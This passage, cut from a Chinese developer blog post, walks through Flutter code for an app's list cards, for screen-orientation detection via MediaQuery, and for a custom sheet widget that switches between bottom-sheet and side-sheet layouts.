class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egenerate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eListTile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003esubtitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;编号: \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e | \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003enumber\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;老师: \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eteacher\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;没有数据\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"横屏幕和竖屏幕\"\u003e横屏幕和竖屏幕\u003c/h3\u003e\n\u003cp\u003e我的程序做了一点平板的优化,主要是我为了学 Flutter 响应式开发而搞出的副产品。\u003c/p\u003e\n\u003ch4 id=\"如何在-flutter-侦测横屏幕竖屏幕\"\u003e如何在 Flutter 侦测横屏幕竖屏幕\u003c/h4\u003e\n\u003cp\u003eFlutter 本身有很多的属性部件,比如 Theme 用来访问主题属性,Navigator 访问路由栈之类。这里我使用的是 MediaQuery.of(context).size,这是用来侦测当前页面长宽高状态的。实际上,上面我提到的很多高度检测啥的,都是用这个实现的。\u003c/p\u003e\n\u003cp\u003e而侦测屏幕位置,有两个思路:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e长宽比,长大于宽就是横着,否则就是竖着。\u003c/li\u003e\n\u003cli\u003e之前我看到一篇文章说宽度 480 是个坎,小于算竖着。\n我这里使用了后者的想法,前面的想法我就不写了:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e480\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e顺便说一句 LayoutBuilder, 是用来给部件加约束的组件,具体看官方指南吧。\u003c/p\u003e\n\u003ch4 id=\"我的-bothsideview\"\u003e我的 BothSideView\u003c/h4\u003e\n\u003cp\u003e先给大家看看这玩意到底是个啥东西:\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/both.side.sheet.gif\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/both.side.sheet.gif\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e如你所见,在竖屏的时候,他是从底往上呼出的,跟 \u003ca class=\"link\" href=\"https://m3.material.io/components/bottom-sheets/guidelines\" target=\"_blank\" rel=\"noopener\"\n \u003eBottomSheet\u003c/a\u003e 一样;在横屏的时候,他是从右向左呼出的,和 \u003ca class=\"link\" href=\"https://m3.material.io/components/side-sheets/overview\" target=\"_blank\" rel=\"noopener\"\n \u003eSideSheet\u003c/a\u003e 一样。\u003c/p\u003e\n\u003cp\u003eFlutter 的 Material 框架本身没有实现 SideSheet ,而对于横屏来说,BottomSheet 是十分浪费屏幕,而且不太好看,从左面呼出是更合适的。得亏有很多的大佬,自行实现了 SideSheet 插件,我可以直接拿来使用他们的概念,但我想把这两个结合在一起。\u003c/p\u003e\n\u003cp\u003e而为啥要将这两个东西合在一起呢?这就涉及到实际使用中,我们是如何呼出 BottomSheet 了。\u003c/p\u003e\n\u003cp\u003e呼出 BottomSheet 和呼出 Dialog 一样,是使用了一个函数,在这里,叫 \u003ccode\u003eshowBottomSheet\u003c/code\u003e。这玩意有个问题,他本质上是往路由栈里面压入一个 BottomSheet 页面栈,也就是说,无论横屏幕还是竖屏幕,他永远是 BottomSheet,而不会变化一点。我一开始用了 SideSheet,结果发现横屏开了 SideSheet,竖屏过来了还是 SideSheet,他们之间不会互相转化。\u003c/p\u003e\n\u003cp\u003e那我就缝合吧,SideSheet 好办,抄过来先辈的代码就好了,顺便我抄过来使用 \u003ccode\u003eshowGeneralDialog\u003c/code\u003e 来显示弹窗了。但是 BottomSheet 本身并没有任何代码资料,我只能自己写了。我使用了 StatefulWidget 来保存 heightForVertical 变量,这是个高度变量,默认为页面高度的 80% 。然后我使用了一个 GestureDetector ,手势侦测器。这个侦测器在拖拽最上面的小横杠时候进行当前高度检测,然后更新高度。这里我将收起的高度定为页面高度的 40% 。\u003c/p\u003e\n\u003cp\u003e这里我说明一下 BottomSheet 和 SideSheet 的特点,他们都可以分成两个部分,上面的和下面的。下面的是传参传进来的部件,上面的就是属于部件的东西了。\u003c/p\u003e\n\u003cp\u003e最后再说一句,原来的 SideSheet 的最上面是使用 \u003ccode\u003eAppBar\u003c/code\u003e 实现的,但是 AppBar 会侦测手机的状态栏,最终导致在某些情况下,上面的高度过高。我被迫自行实现了这里,搞得很难看。\u003c/p\u003e\n\u003cp\u003e现在我贴出来代码,欢迎改善完发个包:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:flutter/material.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:watermeter/page/widget.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eBothSideSheet\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatefulWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// child 是子部件,title 是标题,用于 SideSheet\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eBothSideSheet\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里我是抄的那个 SideSheet 组件,他也是写了个静态方法来显示\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003estatic\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eshow\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eshowGeneralDialog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebarrierDismissible:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003econtext:\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epageBuilder:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eanimation1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eanimation2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eBothSideSheet\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebarrierLabel:\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// 这个动画就是从右呼出还是从下面呼出\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003etransitionBuilder:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eanimation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esecondaryAnimation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eSlideTransition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eposition:\u003c/span\u003e \u003cspan class=\"n\"\u003eTween\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebegin:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eOffset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0.0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eOffset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e0.0\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eend:\u003c/span\u003e \u003cspan class=\"n\"\u003eOffset\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezero\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003echain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCurveTween\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ecurve:\u003c/span\u003e \u003cspan class=\"n\"\u003eCurves\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eeaseOutCubic\u003c/span\u003e\u003cspan class=\"p\"\u003e)).\u003c/span\u003e\u003cspan class=\"n\"\u003eanimate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eanimation\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eBothSideSheet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ecreateState\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e_BothSideSheetState\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003e_BothSideSheetState\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eBothSideSheet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这就是 BottomSheet 的高度问题了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里涉及到 StatefulWidget 的声明周期,这是在 build 之前执行的函数,用来设定高度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 没记错的话,这么写的目的是,防止子组件的某些东西重新加载,这里我快忘了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan 